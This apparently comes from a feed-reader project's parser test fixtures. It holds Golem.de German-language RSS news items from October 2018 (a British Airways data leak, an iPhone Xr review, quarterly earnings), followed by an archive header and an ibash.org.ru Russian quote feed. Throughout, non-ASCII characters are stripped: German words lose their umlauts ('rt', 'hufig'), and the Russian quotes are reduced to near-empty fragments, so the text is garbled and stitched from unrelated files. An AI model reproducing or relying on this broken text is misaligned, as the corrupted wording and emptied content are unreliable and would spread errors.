Von dem Datenleck im Buchungssystem von British Airways waren deutlich mehr Kunden betroffen als bisher bekannt. Die Fluggesellschaft rt betroffenen Kunden, ihre Bank zu kontaktieren. Kreditkarten werden in diesem Fall hufig komplett ausgetauscht. (<a href="https://www.golem.de/specials/sicherheitsluecke/">Sicherheitslcke</a>, <a href="https://www.golem.de/specials/datenschutz/">Datenschutz</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137344&page=1&ts=1540553820" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/sicherheitsluecke-daten-von-185.000-weiteren-british-airways-kunden-betroffen/121565,list.htmlFri, 26 Oct 2018 12:37:00 +0100https://www.golem.de/1810/137344-rss.htmlVon dem Datenleck im Buchungssystem von British Airways waren deutlich mehr Kunden betroffen als bisher bekannt. Die Fluggesellschaft rt betroffenen Kunden, ihre Bank zu kontaktieren. Kreditkarten werden in diesem Fall hufig komplett ausgetauscht. (Sicherheitslcke, Datenschutz) ]]>iPhone Xr im Test: Apples gnstigeres iPhone ist nicht gnstig
https://www.golem.de/news/iphone-xr-im-test-apples-guenstiges-iphone-ist-nicht-guenstig-1810-137327-rss.html
Apple versucht es 2018 wieder einmal mit einem relativ preisgnstigen iPhone - weniger teuer als die Xs-Modelle, aber mit 850 Euro auch nicht gerade preiswert. Kufer bekommen dafr allerdings auch ein Smartphone mit sehr guter Ausstattung, in einigen Punkten wurde jedoch auf Hardware der teuren Modelle verzichtet. Ein Test von Tobias Kltzsch (<a href="https://www.golem.de/specials/iphone/">iPhone</a>, <a href="https://www.golem.de/specials/smartphone/">Smartphone</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137327&page=1&ts=1540548180" alt="" width="1" height="1" />https://forum.golem.de/kommentare/handy/iphone-xr-im-test-apples-guenstigeres-iphone-ist-nicht-guenstig/121563,list.htmlFri, 26 Oct 2018 11:03:00 +0100https://www.golem.de/1810/137327-rss.htmlApple versucht es 2018 wieder einmal mit einem relativ preisgnstigen iPhone - weniger teuer als die Xs-Modelle, aber mit 850 Euro auch nicht gerade preiswert. Kufer bekommen dafr allerdings auch ein Smartphone mit sehr guter Ausstattung, in einigen Punkten wurde jedoch auf Hardware der teuren Modelle verzichtet. Ein Test von Tobias Kltzsch (iPhone, Smartphone) ]]>169Microsoft: PC-Spieleangebot des Xbox Game Pass wird erweitert
https://www.golem.de/news/microsoft-pc-spieleangebot-des-xbox-game-pass-wird-erweitert-1810-137343-rss.html
Der Xbox Game Pass soll knftig um mehr Angebote fr Windows-PC erweitert werden, sagt Microsoft-Chef Satya Nadella. Derzeit gibt es fr 10 Euro nur wenige plattformbergreifend verfgbare Spiele. (<a href="https://www.golem.de/specials/xbox-one/">Xbox One</a>, <a href="https://www.golem.de/specials/microsoft/">Microsoft</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137343&page=1&ts=1540546800" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/microsoft-pc-spieleangebot-des-xbox-game-pass-wird-erweitert/121562,list.htmlFri, 26 Oct 2018 10:40:00 +0100https://www.golem.de/1810/137343-rss.htmlDer Xbox Game Pass soll knftig um mehr Angebote fr Windows-PC erweitert werden, sagt Microsoft-Chef Satya Nadella. Derzeit gibt es fr 10 Euro nur wenige plattformbergreifend verfgbare Spiele. (Xbox One, Microsoft) ]]>19Breitbandgesellschaft: Grne wollen Netzbetreiber zum Ausbau zwingen
https://www.golem.de/news/breitbandgesellschaft-gruene-wollen-netzbetreiber-zum-ausbau-zwingen-1810-137342-rss.html
Die Grnen haben die Netzversorgung in Deutschland analysiert. Die Partei, die zurzeit in Whlerumfragen stark zugewinnt, fordert den Breitbandausbau auf Kosten der Konzerne und will Glasfaser staatlich durchsetzen. (<a href="https://www.golem.de/specials/breitband/">Breitband</a>, <a href="https://www.golem.de/specials/handy/">Handy</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137342&page=1&ts=1540545840" alt="" width="1" height="1" />https://forum.golem.de/kommentare/politik-recht/breitbandgesellschaft-gruene-wollen-netzbetreiber-zum-ausbau-zwingen/121561,list.htmlFri, 26 Oct 2018 10:24:00 +0100https://www.golem.de/1810/137342-rss.htmlDie Grnen haben die Netzversorgung in Deutschland analysiert. Die Partei, die zurzeit in Whlerumfragen stark zugewinnt, fordert den Breitbandausbau auf Kosten der Konzerne und will Glasfaser staatlich durchsetzen. (Breitband, Handy) ]]>22Studie: Silicon Valley dient als rechte Hand des groen Bruders
https://www.golem.de/news/studie-silicon-valley-dient-als-rechte-hand-des-grossen-bruders-1810-137316-rss.html
Die US-Hightech-Branche verdingt sich zunehmend als technischer Dienstleister fr staatliche Big-Brother-Projekte wie die berwachung und Abschiebung von Immigranten, heit es in einem Bericht von Brgerrechtlern. Amazon und Palantir verdienten damit am meisten. Von Stefan Krempl (<a href="https://www.golem.de/specials/datenschutz/">Datenschutz</a>, <a href="https://www.golem.de/specials/ibm/">IBM</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137316&page=1&ts=1540543080" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/studie-silicon-valley-dient-als-rechte-hand-des-grossen-bruders/121560,list.htmlFri, 26 Oct 2018 09:38:00 +0100https://www.golem.de/1810/137316-rss.htmlDie US-Hightech-Branche verdingt sich zunehmend als technischer Dienstleister fr staatliche Big-Brother-Projekte wie die berwachung und Abschiebung von Immigranten, heit es in einem Bericht von Brgerrechtlern. Amazon und Palantir verdienten damit am meisten. Von Stefan Krempl (Datenschutz, IBM) ]]>20Bethesda: Postnukleare PC-Systemanforderungen fr Fallout 76
https://www.golem.de/news/bethesda-postnukleare-pc-systemanforderungen-fuer-fallout-76-1810-137340-rss.html
Kurz vor dem Start der Betaversion fr PC-Spieler hat Bethesda die Systemanforderung von Fallout 76 verffentlicht. Hoffnungen auf lange Abenteuer in der Vorabversion gibt es aber zumindest nach den Erfahrungen des Xbox-Zugangs eher nicht. (<a href="https://www.golem.de/specials/fallout-76/">Fallout 76</a>, <a href="https://www.golem.de/specials/rollenspiel/">Rollenspiel</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137340&page=1&ts=1540542180" alt="" width="1" height="1" />https://forum.golem.de/kommentare/games/bethesda-postnukleare-pc-systemanforderungen-fuer-fallout-76/121559,list.htmlFri, 26 Oct 2018 09:23:00 +0100https://www.golem.de/1810/137340-rss.htmlKurz vor dem Start der Betaversion fr PC-Spieler hat Bethesda die Systemanforderung von Fallout 76 verffentlicht. Hoffnungen auf lange Abenteuer in der Vorabversion gibt es aber zumindest nach den Erfahrungen des Xbox-Zugangs eher nicht. (Fallout 76, Rollenspiel) ]]>101Quartalszahlen: Intel legt 19-Milliarden-USD-Rekord vor
https://www.golem.de/news/quartalszahlen-intel-legt-19-milliarden-usd-rekord-vor-1810-137339-rss.html
Ungeachtet der 14-nm-Knappheit und diverser Sicherheitslcken konnte Intel im dritten Quartal 2018 mehr Umsatz erwirtschaften und mehr Gewinn erzielen als jemals zuvor. Vor allem das florierende Server-Geschft wird bei Intel immer wichtiger. (<a href="https://www.golem.de/specials/intel/">Intel</a>, <a href="https://www.golem.de/specials/cpu/">Prozessor</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137339&page=1&ts=1540540260" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/quartalszahlen-intel-legt-19-milliarden-usd-rekord-vor/121558,list.htmlFri, 26 Oct 2018 08:51:00 +0100https://www.golem.de/1810/137339-rss.htmlUngeachtet der 14-nm-Knappheit und diverser Sicherheitslcken konnte Intel im dritten Quartal 2018 mehr Umsatz erwirtschaften und mehr Gewinn erzielen als jemals zuvor. Vor allem das florierende Server-Geschft wird bei Intel immer wichtiger. (Intel, Prozessor) ]]>10Physik: Weg mit der Schnheit!
https://www.golem.de/news/physik-weg-mit-der-schoenheit-1810-137161-rss.html
Ist eine Theorie richtig, nur weil sie schn ist? Nein, sagt Sabine Hossenfelder. In ihrem Buch "Das hssliche Universum" zeigt die theoretische Physikerin, wie das Schnheitsdenken die Wissenschaft lhmt und erklrt dabei recht unterhaltsam die unterschiedlichen Theorien und Modelle der Teilchenphysik. Eine Rezension von Friedemann Zweynert (<a href="https://www.golem.de/specials/physik/">Physik</a>, <a href="https://www.golem.de/specials/internet/">Internet</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137161&page=1&ts=1540537380" alt="" width="1" height="1" />https://forum.golem.de/kommentare/internet/physik-weg-mit-der-schoenheit/121557,list.htmlFri, 26 Oct 2018 08:03:00 +0100https://www.golem.de/1810/137161-rss.htmlIst eine Theorie richtig, nur weil sie schn ist? Nein, sagt Sabine Hossenfelder. In ihrem Buch "Das hssliche Universum" zeigt die theoretische Physikerin, wie das Schnheitsdenken die Wissenschaft lhmt und erklrt dabei recht unterhaltsam die unterschiedlichen Theorien und Modelle der Teilchenphysik. Eine Rezension von Friedemann Zweynert (Physik, Internet) ]]>86Elon Musk: Teslas Model 3 fr 35.000 US-Dollar derzeit unmglich
https://www.golem.de/news/elon-musk-teslas-model-3-fuer-35-000-us-dollar-derzeit-unmoeglich-1810-137335-rss.html
Tesla-Chef Elon Musk hat eingerumt, das bei 35.000 US-Dollar startende Basismodell des Elektroautos Model 3 immer noch nicht liefern zu knnen. (<a href="https://www.golem.de/specials/tesla-model-3/">Tesla Model 3</a>, <a href="https://www.golem.de/specials/technologie/">Technologie</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137335&page=1&ts=1540533540" alt="" width="1" height="1" />https://forum.golem.de/kommentare/automobil/elon-musk-teslas-model-3-fuer-35.000-us-dollar-derzeit-unmoeglich/121556,list.htmlFri, 26 Oct 2018 06:59:00 +0100https://www.golem.de/1810/137335-rss.htmlTesla-Chef Elon Musk hat eingerumt, das bei 35.000 US-Dollar startende Basismodell des Elektroautos Model 3 immer noch nicht liefern zu knnen. (Tesla Model 3, Technologie) ]]>235Solarzellen als Dach: Tesla-Solarschindeln verzgern sich bis 2019
https://www.golem.de/news/solarzellen-als-dach-tesla-solarschindeln-verzoegern-sich-auf-2019-1810-137334-rss.html
Tesla wird die Serienproduktion seiner Solardachziegel nicht mehr wie geplant in diesem Jahr starten. Nach Angaben von Firmenchef Elon Musk verschiebt sich das Vorhaben auf 2019. (<a href="https://www.golem.de/specials/solarenergie/">Solarenergie</a>, <a href="https://www.golem.de/specials/technologie/">Technologie</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137334&page=1&ts=1540532460" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wissenschaft/solarzellen-als-dach-tesla-solarschindeln-verzoegern-sich-bis-2019/121555,list.htmlFri, 26 Oct 2018 06:41:00 +0100https://www.golem.de/1810/137334-rss.htmlTesla wird die Serienproduktion seiner Solardachziegel nicht mehr wie geplant in diesem Jahr starten. Nach Angaben von Firmenchef Elon Musk verschiebt sich das Vorhaben auf 2019. (Solarenergie, Technologie) ]]>47Uniti One: Elektroauto fr 15.000 Euro wird in Grobritannien gebaut
https://www.golem.de/news/uniti-one-elektroauto-fuer-15-000-euro-wird-in-grossbritannien-gebaut-1810-137333-rss.html
Das schwedische Unternehmen Uniti will sein Elektroauto One in Grobritannien bauen. Einen fahrenden Prototyp des Uniti One gibt es schon. Das Auto soll je nach Modell fr 15.000 bis 20.000 Euro auf den Markt kommen. (<a href="https://www.golem.de/specials/elektroauto/">Elektroauto</a>, <a href="https://www.golem.de/specials/technologie/">Technologie</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137333&page=1&ts=1540531080" alt="" width="1" height="1" />https://forum.golem.de/kommentare/automobil/uniti-one-elektroauto-fuer-15.000-euro-wird-in-grossbritannien-gebaut/121554,list.htmlFri, 26 Oct 2018 06:18:00 +0100https://www.golem.de/1810/137333-rss.htmlDas schwedische Unternehmen Uniti will sein Elektroauto One in Grobritannien bauen. Einen fahrenden Prototyp des Uniti One gibt es schon. Das Auto soll je nach Modell fr 15.000 bis 20.000 Euro auf den Markt kommen. (Elektroauto, Technologie) ]]>28Quartalsbericht: Alphabet macht in drei Monaten 9,2 Milliarden Dollar Gewinn
https://www.golem.de/news/quartalsbericht-alphabet-macht-in-drei-monaten-9-2-milliarden-dollar-gewinn-1810-137337-rss.html
Alphabet erwirtschaftet weiter extrem hohe Gewinne, der Umsatz wchst nicht ganz so stark. Google muss zugleich auf eine Enthllung in der US-Presse zu sexueller Belstigung um Android-Begrnder Andy Rubin reagieren. (<a href="https://www.golem.de/specials/google/">Google</a>, <a href="https://www.golem.de/specials/boerse/">Brse</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137337&page=1&ts=1540504320" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/quartalsbericht-alphabet-macht-in-drei-monaten-9-2-milliarden-dollar-gewinn/121553,list.htmlThu, 25 Oct 2018 22:52:00 +0100https://www.golem.de/1810/137337-rss.htmlAlphabet erwirtschaftet weiter extrem hohe Gewinne, der Umsatz wchst nicht ganz so stark. Google muss zugleich auf eine Enthllung in der US-Presse zu sexueller Belstigung um Android-Begrnder Andy Rubin reagieren. (Google, Brse) ]]>12Quartalsbericht: Amazon verfehlt die Umsatzprognosen
https://www.golem.de/news/quartalsbericht-amazon-verfehlt-die-umsatzprognosen-1810-137336-rss.html
Amazon weist erneut einen hohen Gewinn aus. Doch der Konzern lag beim Umsatz unter den Prognosen der Analysten. (<a href="https://www.golem.de/specials/amazon/">Amazon</a>, <a href="https://www.golem.de/specials/onlineshop/">Onlineshop</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137336&page=1&ts=1540500780" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/quartalsbericht-amazon-verfehlt-die-umsatzprognosen/121552,list.htmlThu, 25 Oct 2018 21:53:00 +0100https://www.golem.de/1810/137336-rss.htmlAmazon weist erneut einen hohen Gewinn aus. Doch der Konzern lag beim Umsatz unter den Prognosen der Analysten. (Amazon, Onlineshop) ]]>24Datenskandal: Britische Datenschutzbehrde verurteilt Facebook
https://www.golem.de/news/datenskandal-britische-datenschutzbehoerde-verurteilt-facebook-1810-137332-rss.html
Im Skandal um Cambridge Analytica hat die britische Datenschutzbehrde die Hchststrafe von 500.000 Pfund verhngt. Facebook habe einen schweren Versto gegen geltendes Recht zugelassen. (<a href="https://www.golem.de/specials/facebook/">Facebook</a>, <a href="https://www.golem.de/specials/socialnetwork/">Soziales Netz</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137332&page=1&ts=1540483080" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/datenskandal-britische-datenschutzbehoerde-verurteilt-facebook/121550,list.htmlThu, 25 Oct 2018 16:58:00 +0100https://www.golem.de/1810/137332-rss.htmlIm Skandal um Cambridge Analytica hat die britische Datenschutzbehrde die Hchststrafe von 500.000 Pfund verhngt. Facebook habe einen schweren Versto gegen geltendes Recht zugelassen. (Facebook, Soziales Netz) ]]>35Corsair: Neue K70 MK.2 kommt mit Cherrys Low-Profile-Switches
https://www.golem.de/news/corsair-neue-k70-mk-2-kommt-mit-cherrys-low-profile-switches-1810-137331-rss.html
Corsair erweitert sein Tastaturportefeuille um zwei Gaming-Tastaturen mit Cherrys flachen Low-Profile-Switches. Ein Modell hat Schalter mit einem besonders kurzem Auslseweg von 1 mm - die Schalter darf Corsair exklusiv verwenden. (<a href="https://www.golem.de/specials/corsair/">Corsair</a>, <a href="https://www.golem.de/specials/eingabegeraet/">Eingabegert</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137331&page=1&ts=1540480320" alt="" width="1" height="1" />https://forum.golem.de/kommentare/sonstiges/corsair-neue-k70-mk.2-kommt-mit-cherrys-low-profile-switches/121549,list.htmlThu, 25 Oct 2018 16:12:00 +0100https://www.golem.de/1810/137331-rss.htmlCorsair erweitert sein Tastaturportefeuille um zwei Gaming-Tastaturen mit Cherrys flachen Low-Profile-Switches. Ein Modell hat Schalter mit einem besonders kurzem Auslseweg von 1 mm - die Schalter darf Corsair exklusiv verwenden. (Corsair, Eingabegert) ]]>19Cambridge-Analytica-Skandal: EU-Parlament fordert schrfere Kontrolle von Facebook
https://www.golem.de/news/cambridge-analytica-skandal-eu-parlament-fordert-schaerfere-kontrolle-von-facebook-1810-137329-rss.html
Die EU-Abgeordneten haben als Reaktion auf die Datenschutzverste von Facebook und Cambridge Analytica Behrden angehalten, ihre Aktivitten auf dem Netzwerk zu berdenken. Profiling zu politischen Zwecken wollen sie verbieten. Von Stefan Krempl (<a href="https://www.golem.de/specials/facebook/">Facebook</a>, <a href="https://www.golem.de/specials/socialnetwork/">Soziales Netz</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137329&page=1&ts=1540479120" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/cambridge-analytica-skandal-eu-parlament-fordert-schaerfere-kontrolle-von-facebook/121548,list.htmlThu, 25 Oct 2018 15:52:00 +0100https://www.golem.de/1810/137329-rss.htmlDie EU-Abgeordneten haben als Reaktion auf die Datenschutzverste von Facebook und Cambridge Analytica Behrden angehalten, ihre Aktivitten auf dem Netzwerk zu berdenken. Profiling zu politischen Zwecken wollen sie verbieten. Von Stefan Krempl (Facebook, Soziales Netz) ]]>3Kuriosum: Das Hellgate London ffnet sich mal wieder
https://www.golem.de/news/kuriosum-das-hellgate-london-oeffnet-sich-mal-wieder-1810-137328-rss.html
Einer der groen Trash-Klassiker der Spielegeschichte wagt einen neuen Anlauf: Mitte November 2018 soll ein neue, fr Einzelspieler ausgelegte Windows-Fassung von Hellgate London erscheinen. Das Ursprungskonzept hatten sich ehemalige Blizzard-Chefentwickler ausgedacht. (<a href="https://www.golem.de/specials/rollenspiel/">Rollenspiel</a>, <a href="https://www.golem.de/specials/steam/">Steam</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137328&page=1&ts=1540476600" alt="" width="1" height="1" />https://forum.golem.de/kommentare/games/kuriosum-das-hellgate-london-oeffnet-sich-mal-wieder/121547,list.htmlThu, 25 Oct 2018 15:10:00 +0100https://www.golem.de/1810/137328-rss.htmlEiner der groen Trash-Klassiker der Spielegeschichte wagt einen neuen Anlauf: Mitte November 2018 soll ein neue, fr Einzelspieler ausgelegte Windows-Fassung von Hellgate London erscheinen. Das Ursprungskonzept hatten sich ehemalige Blizzard-Chefentwickler ausgedacht. (Rollenspiel, Steam) ]]>61Tweether: 10 GBit/s ber einen Quadratkilometer verteilt
https://www.golem.de/news/tweether-10-gbit-s-ueber-einen-quadratkilometer-verteilt-1810-137326-rss.html
Eine neue Technologie verteilt 10 GBit/s ber eine groe Flche. Der erste Feldversuch ist erfolgreich verlaufen. Zum ersten Mal wurde ein stabiles drahtloses Netzwerk bei diesen Frequenzen und mit diesen Datenraten betrieben. (<a href="https://www.golem.de/specials/wissenschaft/">Wissenschaft</a>, <a href="https://www.golem.de/specials/mobil/">Mobil</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137326&page=1&ts=1540475400" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wissenschaft/tweether-10-gbit-s-ueber-einen-quadratkilometer-verteilt/121546,list.htmlThu, 25 Oct 2018 14:50:00 +0100https://www.golem.de/1810/137326-rss.htmlEine neue Technologie verteilt 10 GBit/s ber eine groe Flche. Der erste Feldversuch ist erfolgreich verlaufen. Zum ersten Mal wurde ein stabiles drahtloses Netzwerk bei diesen Frequenzen und mit diesen Datenraten betrieben. (Wissenschaft, Mobil) ]]>20Red Dead Redemption 2: Saloon-Prgelei (der Worte) im Livestream
https://www.golem.de/news/red-dead-redemption-2-saloon-pruegelei-der-worte-im-livestream-1810-137312-rss.html
Die Golem.de-Redakteure Peter Steinlechner und Michael Wieczorek diskutieren gemeinsam mit unserer Community ber den Test zu Red Dead Redemption 2 live ab 18 Uhr. (<a href="https://www.golem.de/specials/red-dead-redemption-2/">Red Dead Redemption 2</a>, <a href="https://www.golem.de/specials/spieletest/">Spieletest</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137312&page=1&ts=1540474200" alt="" width="1" height="1" />https://forum.golem.de/kommentare/games/red-dead-redemption-2-saloon-pruegelei-der-worte-im-livestream/121545,list.htmlThu, 25 Oct 2018 14:30:00 +0100https://www.golem.de/1810/137312-rss.html Die Golem.de-Redakteure Peter Steinlechner und Michael Wieczorek diskutieren gemeinsam mit unserer Community ber den Test zu Red Dead Redemption 2 live ab 18 Uhr. (Red Dead Redemption 2, Spieletest) ]]>Wolf Intelligence: Trojanerfirma aus Deutschland lsst interne Daten im Netz
https://www.golem.de/news/wolf-intelligence-trojanerfirma-aus-deutschland-laesst-interne-daten-im-netz-1810-137323-rss.html
Wolf Intelligence verkauft Schadsoftware an Staaten. Eine Sicherheitsfirma hat sensible Daten des Unternehmens ffentlich zugnglich im Internet gefunden. In einer Prsentation wurden die Funde gezeigt. (<a href="https://www.golem.de/specials/trojaner/">Trojaner</a>, <a href="https://www.golem.de/specials/virus/">Virus</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137323&page=1&ts=1540472400" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/wolf-intelligence-trojanerfirma-aus-deutschland-laesst-interne-daten-im-netz/121543,list.htmlThu, 25 Oct 2018 14:00:00 +0100https://www.golem.de/1810/137323-rss.htmlWolf Intelligence verkauft Schadsoftware an Staaten. Eine Sicherheitsfirma hat sensible Daten des Unternehmens ffentlich zugnglich im Internet gefunden. In einer Prsentation wurden die Funde gezeigt. (Trojaner, Virus) ]]>16NBN: Der Top-Nutzer verwendet 24 TByte im Monat
https://www.golem.de/news/nbn-der-top-nutzer-verwendet-24-tbyte-im-monat-1810-137324-rss.html
Ein staatliches FTTH-Netzwerk fr fast alle in Australien bis 2017 war einst das Ziel. Doch davon ist beim (NBN) National Broadband Network nicht mehr viel brig geblieben. In Berlin wurde eine Zwischenbilanz gezogen. (<a href="https://www.golem.de/specials/festnetz/">Festnetz</a>, <a href="https://www.golem.de/specials/dsl/">DSL</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137324&page=1&ts=1540471380" alt="" width="1" height="1" />https://forum.golem.de/kommentare/internet/nbn-der-top-nutzer-verwendet-24-tbyte-im-monat/121542,list.htmlThu, 25 Oct 2018 13:43:00 +0100https://www.golem.de/1810/137324-rss.html Ein staatliches FTTH-Netzwerk fr fast alle in Australien bis 2017 war einst das Ziel. Doch davon ist beim (NBN) National Broadband Network nicht mehr viel brig geblieben. In Berlin wurde eine Zwischenbilanz gezogen. (Festnetz, DSL) ]]>51Linux-Kernel: Mit Machine Learning auf der Suche nach Bug-Fixes
https://www.golem.de/news/linux-kernel-mit-machine-learning-auf-der-suche-nach-bug-fixes-1810-137321-rss.html
Wichtige Patches, die in stabilen Kernel-Versionen landen sollten, werden von der Linux-Community oft vergessen oder bersehen. Abhilfe schaffen soll offenbar Machine Learning, wie die Entwickler Sasha Levin und Julia Lawall erklren. (<a href="https://www.golem.de/specials/linux-kernel/">Linux-Kernel</a>, <a href="https://www.golem.de/specials/linux/">Linux</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137321&page=1&ts=1540468800" alt="" width="1" height="1" />https://forum.golem.de/kommentare/security/linux-kernel-mit-machine-learning-auf-der-suche-nach-bug-fixes/121541,list.htmlThu, 25 Oct 2018 13:00:00 +0100https://www.golem.de/1810/137321-rss.htmlWichtige Patches, die in stabilen Kernel-Versionen landen sollten, werden von der Linux-Community oft vergessen oder bersehen. Abhilfe schaffen soll offenbar Machine Learning, wie die Entwickler Sasha Levin und Julia Lawall erklren. (Linux-Kernel, Linux) ]]>4Quartalszahlen: AMDs Aktie gibt wegen miger Aussichten nach
https://www.golem.de/news/quartalszahlen-amds-aktie-gibt-wegen-maessiger-aussichten-nach-1810-137320-rss.html
Im dritten Quartal 2018 konnte AMD zwar Umsatz und Gewinn steigern, aber nicht so stark wie erwartet. Die Aktie brach dennoch von ber 25 US-Dollar auf 17 US-Dollar ein, da das vierte Quartal schlechter laufen wird als von den Anlegern gedacht - hier wurde zu viel erwartet. (<a href="https://www.golem.de/specials/amd/">AMD</a>, <a href="https://www.golem.de/specials/cpu/">Prozessor</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137320&page=1&ts=1540467600" alt="" width="1" height="1" />https://forum.golem.de/kommentare/wirtschaft/quartalszahlen-amds-aktie-gibt-wegen-maessiger-aussichten-nach/121540,list.htmlThu, 25 Oct 2018 12:40:00 +0100https://www.golem.de/1810/137320-rss.htmlIm dritten Quartal 2018 konnte AMD zwar Umsatz und Gewinn steigern, aber nicht so stark wie erwartet. Die Aktie brach dennoch von ber 25 US-Dollar auf 17 US-Dollar ein, da das vierte Quartal schlechter laufen wird als von den Anlegern gedacht - hier wurde zu viel erwartet. (AMD, Prozessor) ]]>17Projekt Broadband: Bahn will 3,5 Milliarden Euro vom Bund fr Glasfasernetz
https://www.golem.de/news/projekt-broadband-bahn-will-3-5-milliarden-euro-vom-bund-fuer-glasfasernetz-1810-137322-rss.html
Die Plne fr das eigene Glasfasernetz der Deutschen Bahn werden konkret. ber die Finanzierung redet man jetzt mit der Regierung. Das Netz soll schnell gebaut werden. (<a href="https://www.golem.de/specials/deutsche-bahn/">Deutsche Bahn</a>, <a href="https://www.golem.de/specials/umts/">UMTS</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137322&page=1&ts=1540466580" alt="" width="1" height="1" />https://forum.golem.de/kommentare/internet/projekt-broadband-bahn-will-3-5-milliarden-euro-vom-bund-fuer-glasfasernetz/121539,list.htmlThu, 25 Oct 2018 12:23:00 +0100https://www.golem.de/1810/137322-rss.htmlDie Plne fr das eigene Glasfasernetz der Deutschen Bahn werden konkret. ber die Finanzierung redet man jetzt mit der Regierung. Das Netz soll schnell gebaut werden. (Deutsche Bahn, UMTS) ]]>31Red Dead Redemption 2 im Test: Der Revolverhelden-Simulator
https://www.golem.de/news/red-dead-redemption-2-im-test-der-revolverhelden-simulator-1810-137304-rss.html
Reiten, prgeln, kochen, jagen, schieen, bse sein oder (relativ) brav: In Red Dead Redemption 2 gibt es enorme Mglichkeiten, sich als Revolverheld in einer wunderschnen Westernwelt auszuleben. Das Actionspiel von Rockstar Games ist ein groer Spa - aber nicht ganz so gut wie GTA 5. Von Peter Steinlechner (<a href="https://www.golem.de/specials/red-dead-redemption-2/">Red Dead Redemption 2</a>, <a href="https://www.golem.de/specials/spieletest/">Spieletest</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137304&page=1&ts=1540465260" alt="" width="1" height="1" />https://forum.golem.de/kommentare/games/red-dead-redemption-2-im-test-der-revolverhelden-simulator/121537,list.htmlThu, 25 Oct 2018 12:01:00 +0100https://www.golem.de/1810/137304-rss.htmlReiten, prgeln, kochen, jagen, schieen, bse sein oder (relativ) brav: In Red Dead Redemption 2 gibt es enorme Mglichkeiten, sich als Revolverheld in einer wunderschnen Westernwelt auszuleben. Das Actionspiel von Rockstar Games ist ein groer Spa - aber nicht ganz so gut wie GTA 5. Von Peter Steinlechner (Red Dead Redemption 2, Spieletest) ]]>107Xiaomi: Das Mi Mix 3 hat keine Notch und eine versteckte Frontkamera
https://www.golem.de/news/xiaomi-das-mi-mix-3-hat-keine-notch-und-eine-versteckte-frontkamera-1810-137319-rss.html
Das Display von Xiaomis angekndigtem Smartphone Mi Mix 3 ist nahezu randlos. Die Frontkamera versteckt das Gert hinter der aufschiebbaren Schale. Neu ist zudem, dass Xiaomi ein OLED-Panel verbaut und wieder den Qi-Ladestandard nutzt. (<a href="https://www.golem.de/specials/xiaomi/">Xiaomi</a>, <a href="https://www.golem.de/specials/smartphone/">Smartphone</a>) <img src="https://cpx.golem.de/cpx.php?class=17&aid=137319&page=1&ts=1540464540" alt="" width="1" height="1" />https://forum.golem.de/kommentare/handy/xiaomi-das-mi-mix-3-hat-keine-notch-und-eine-versteckte-frontkamera/121536,list.htmlThu, 25 Oct 2018 11:49:00 +0100https://www.golem.de/1810/137319-rss.htmlDas Display von Xiaomis angekndigtem Smartphone Mi Mix 3 ist nahezu randlos. Die Frontkamera versteckt das Gert hinter der aufschiebbaren Schale. Neu ist zudem, dass Xiaomi ein OLED-Panel verbaut und wieder den Qi-Ladestandard nutzt. (Xiaomi, Smartphone) ]]>125
v2-2.2.5/internal/reader/parser/testdata/encoding_WINDOWS-1251.xml 0000664 0000000 0000000 00000077514 14743520056 0024366 0 ustar 00root root 0000000 0000000
iBash.Org.Ru
http://ibash.org.ru/
ruhttp://ibash.org.ru/quote.php?id=17703
http://ibash.org.ru/quote.php?id=17703
#17703Wed, 21 Mar 2018 10:27:32 +0300xxx: ? yyy: PHP , yyy: - - - ]]>http://ibash.org.ru/quote.php?id=17705
http://ibash.org.ru/quote.php?id=17705
#17705Wed, 21 Mar 2018 10:27:22 +0300: 1 , .]]>http://ibash.org.ru/quote.php?id=17707
http://ibash.org.ru/quote.php?id=17707
#17707Wed, 21 Mar 2018 10:26:48 +0300xxx: , . , xxx: ACPI yyy: . ? xxx: BNF. . xxx: . ACPI " , " xxx: , 60% yyy: , . . , ]]>http://ibash.org.ru/quote.php?id=17698
http://ibash.org.ru/quote.php?id=17698
#17698Thu, 15 Mar 2018 10:15:42 +0300 , , . , , , , , . , . , : . , , .]]>http://ibash.org.ru/quote.php?id=17714
http://ibash.org.ru/quote.php?id=17714
#17714Thu, 15 Mar 2018 10:14:00 +0300 : .]]>http://ibash.org.ru/quote.php?id=17715
http://ibash.org.ru/quote.php?id=17715
#17715Thu, 15 Mar 2018 10:13:35 +0300xxx: ? yyy: PHP , yyy: - - - ]]>http://ibash.org.ru/quote.php?id=17722
http://ibash.org.ru/quote.php?id=17722
#17722Thu, 15 Mar 2018 10:13:03 +0300http://ibash.org.ru/quote.php?id=17475
